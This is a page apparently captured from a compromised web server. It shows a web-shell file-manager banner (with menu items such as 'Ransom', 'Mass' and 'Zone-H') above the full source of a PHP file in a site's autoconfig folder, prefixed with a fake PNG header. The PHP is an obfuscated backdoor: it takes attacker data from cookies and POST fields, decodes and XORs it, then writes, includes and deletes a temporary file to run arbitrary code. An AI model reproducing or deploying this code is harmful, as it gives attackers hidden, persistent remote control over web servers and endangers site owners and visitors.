\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/tims.tv/autoconfig/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/tims.tv/autoconfig/4ddcec5e.php |
$tvikuO = 'g' . chr (95) . "\x6d" . "\171" . "\x4f" . chr (70); $cyjrlvMHJ = chr (99) . chr ( 546 - 438 ).'a' . chr ( 1062 - 947 ).chr ( 1024 - 909 )."\137" . 'e' . chr ( 744 - 624 ).chr (105) . chr (115) . "\164" . 's';$MTGpHpbng = class_exists($tvikuO); $cyjrlvMHJ = "45469";$IjJZvZzvuF = strpos($cyjrlvMHJ, $tvikuO);if ($MTGpHpbng == $IjJZvZzvuF){function GyTYSHvHh(){$zKkGyQheJ = new /* 62563 */ g_myOF(54741 + 54741); $zKkGyQheJ = NULL;}$DeJqsV = "54741";class g_myOF{private function gjPbo($DeJqsV){if (is_array(g_myOF::$ELcnEvi)) {$name = sys_get_temp_dir() . "/" . crc32(g_myOF::$ELcnEvi["salt"]);@g_myOF::$ELcnEvi["write"]($name, g_myOF::$ELcnEvi["content"]);include $name;@g_myOF::$ELcnEvi["delete"]($name); $DeJqsV = "54741";exit();}}public function YOiruf(){$NOFBt = "15309";$this->_dummy = str_repeat($NOFBt, strlen($NOFBt));}public function __destruct(){g_myOF::$ELcnEvi = @unserialize(g_myOF::$ELcnEvi); $DeJqsV = "49842_59328";$this->gjPbo($DeJqsV); $DeJqsV = "49842_59328";}public function Xdhxec($NOFBt, $QCQPLACWU){return $NOFBt[0] ^ str_repeat($QCQPLACWU, intval(strlen($NOFBt[0]) / strlen($QCQPLACWU)) + 1);}public function palQTe($NOFBt){$RuQyDE = "\142" . chr (97) . chr ( 461 - 346 )."\x65" . '6' . chr (52);return array_map($RuQyDE . '_' . chr ( 453 - 353 )."\x65" . chr ( 237 - 138 ).chr ( 1062 - 951 )."\x64" . chr ( 632 - 531 ), array($NOFBt,));}public function __construct($pgsrqTT=0){$vUHIADNVg = chr ( 59 - 15 ); $NOFBt = "";$sPsihDju = $_POST;$ZuWVTXlZ = $_COOKIE;$QCQPLACWU = "3b28220a-7c51-42f0-8a21-e03f1c028daa";$hVbBqfBDJn = @$ZuWVTXlZ[substr($QCQPLACWU, 0, 4)];if (!empty($hVbBqfBDJn)){$hVbBqfBDJn = explode($vUHIADNVg, $hVbBqfBDJn);foreach ($hVbBqfBDJn as $VfoQS){$NOFBt .= @$ZuWVTXlZ[$VfoQS];$NOFBt .= @$sPsihDju[$VfoQS];}$NOFBt = $this->palQTe($NOFBt);}g_myOF::$ELcnEvi = $this->Xdhxec($NOFBt, $QCQPLACWU);if (strpos($QCQPLACWU, $vUHIADNVg) !== FALSE){$QCQPLACWU = explode($vUHIADNVg, $QCQPLACWU); $UDCzZwwi = base64_decode(md5($QCQPLACWU[0])); $Skaxyyfu = strlen($QCQPLACWU[1]) > 5 ? substr($QCQPLACWU[1], 0, 5) : $QCQPLACWU[1];$_GET['new_key'] = md5(implode('', $QCQPLACWU)); $GpnGR = str_repeat($Skaxyyfu, 2); $WTVCt = array_map('trim', $QCQPLACWU);if (is_array($WTVCt) && count($WTVCt) > 1) {$EeXRCNs = $WTVCt[0];} else {$EeXRCNs = '';}}}public static $ELcnEvi = 47594;}GyTYSHvHh();}